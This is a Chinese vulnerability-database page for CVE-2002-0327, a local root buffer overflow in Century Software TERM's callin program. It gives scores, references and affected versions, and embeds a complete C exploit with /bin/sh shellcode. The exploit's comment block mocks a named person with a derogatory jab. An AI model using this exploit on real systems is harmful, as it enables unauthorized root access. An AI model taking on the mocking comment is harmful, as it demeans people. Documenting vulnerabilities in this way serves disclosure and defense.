CVE-2002-0327
CVSS7.2
发布时间 :2002-06-25 00:00:00
修订时间 :2016-10-17 22:19:13
NMCOES    

[原文]Buffer overflow in Century Software TERM allows local users to gain root privileges via a long tty argument to the callin program.


[CNNVD]Century Software Term命令行缓冲区溢出漏洞(CNNVD-200206-055)

        Century Software TERM存在缓冲区溢出漏洞。本地用户借助callin程序的超长tty参数提升根特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0327
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0327
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200206-055
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=101477608215471&w=2
(UNKNOWN)  BUGTRAQ  20020227 Century Software Term Exploit
http://online.securityfocus.com/archive/82/257731
(VENDOR_ADVISORY)  VULN-DEV  20020222 Censoft TERM Emu bOf
http://www.iss.net/security_center/static/8291.php
(VENDOR_ADVISORY)  XF  term-tty-bo(8291)
http://www.securityfocus.com/bid/4174
(UNKNOWN)  BID  4174

- 漏洞信息

Century Software Term命令行缓冲区溢出漏洞
高危 缓冲区溢出
2002-06-25 00:00:00 2005-10-20 00:00:00
本地  
        Century Software TERM存在缓冲区溢出漏洞。本地用户借助callin程序的超长tty参数提升根特权。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (21302)

Century Software Term For Linux 6.27.869 Command Line Buffer Overflow (EDBID:21302)
linux local
2002-02-25 Verified
0 Haiku Hacker
N/A [点击下载]
source: http://www.securityfocus.com/bid/4174/info

Term is a commercially available software package for Unix and Linux operating systems. It is distributed and maintained by Century Software.

Under some circumstances, it may be possible for a local user to execute arbitrary code. Term does not properly check bounds when receiving arguments via the tty option on the commandline. As a result, it is possible for a local user to execute the callin and callout programs of Term, and overwrite process memory. This could result in the overwriting of stack variables, including the return address. The callin and callout programs are by default installed setuid root.

/********************************************************/
/* ex-callin.c - Haiku Hacker <haiku@hushmail.com>	*/
/* Exploits the buffer overflow in Century Software's	*/
/* calling component of the Term program for Linux.	*/
/********************************************************/
/* Greets, love, and respect to:			*/
/* KF, Merc, Synapse, UPT old and new, Lance Spitzner,	*/
/* egami, comega, jericho, and most importantly sl1k	*/
/* for his guidance, coaching, and tutoring.		*/
/********************************************************/
/* RFP's Pants						*/
/* -----------						*/
/* Rain Forest Puppy					*/
/* Wears tight black pants to big cons			*/
/* Does he have limp wrist?				*/
/********************************************************/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* use this to specify the location of callin */
#define CINPATH "./callin"


int main(int argc, char **argv)
{
	/* Shellcode borrowed from Aleph1 */
	char shellcode[] =
		"\x29\xc0\x29\xdb\x29\xc9\x29\xd2\xb0\xa4\xcd\x80"
		"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
		"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
		"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
		"\xff\xff/bin/sh";

	char egg_string[300];
	int i;
	unsigned long offset = 0;

	if (argc > 1)
	{
		offset = atoi(argv[1]);
	}

	memcpy(egg_string, "tty", 3);

	for (i = 3; i < 95; i++)
		egg_string[i] = 'A';

	*(long *)(egg_string+95) = 0xbffff67c + offset; 

	for (i = 99; i < 300; i++)
		egg_string[i] = 0x90;

	strcpy(egg_string+(sizeof(egg_string)-strlen(shellcode)), shellcode);

	execl(CINPATH, "callin", egg_string, 0);
}
		

- 漏洞信息

12310
Century Software TERM tty Argument Local Overflow
Local Access Required Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

2002-02-25 Unknow
2002-02-25 Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Century Software Term Command Line Buffer Overflow Vulnerability
Boundary Condition Error 4174
No Yes
2002-02-25 12:00:00 2009-07-11 10:56:00
This vulnerability is credited to KF <dotslash@snosoft.com>.

- 受影响的程序版本

Century Software Term For Linux 6.27.869
- Caldera OpenLinux Server 3.1.1
- Caldera OpenLinux Workstation 3.1.1
- Debian Linux 2.2 IA-32
- Mandriva Linux Mandrake 8.1
- Mandriva Linux Mandrake 8.0
- RedHat Linux 7.2 i386
- RedHat Linux 7.1 i386
- RedHat Linux 7.0 i386
- S.u.S.E. Linux 7.3 i386
- S.u.S.E. Linux 7.2 i386
- S.u.S.E. Linux 7.1 x86
- Slackware Linux 8.0
- Slackware Linux 7.1

- 漏洞讨论

Term is a commercially available software package for Unix and Linux operating systems. It is distributed and maintained by Century Software.

Under some circumstances, it may be possible for a local user to execute arbitrary code. Term does not properly check bounds when receiving arguments via the tty option on the commandline. As a result, it is possible for a local user to execute the callin and callout programs of Term, and overwrite process memory. This could result in the overwriting of stack variables, including the return address. The callin and callout programs are by default installed setuid root.

- 漏洞利用

Exploit contributed by Haiku Hacker &lt;haiku@hushmail.com&gt;:

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站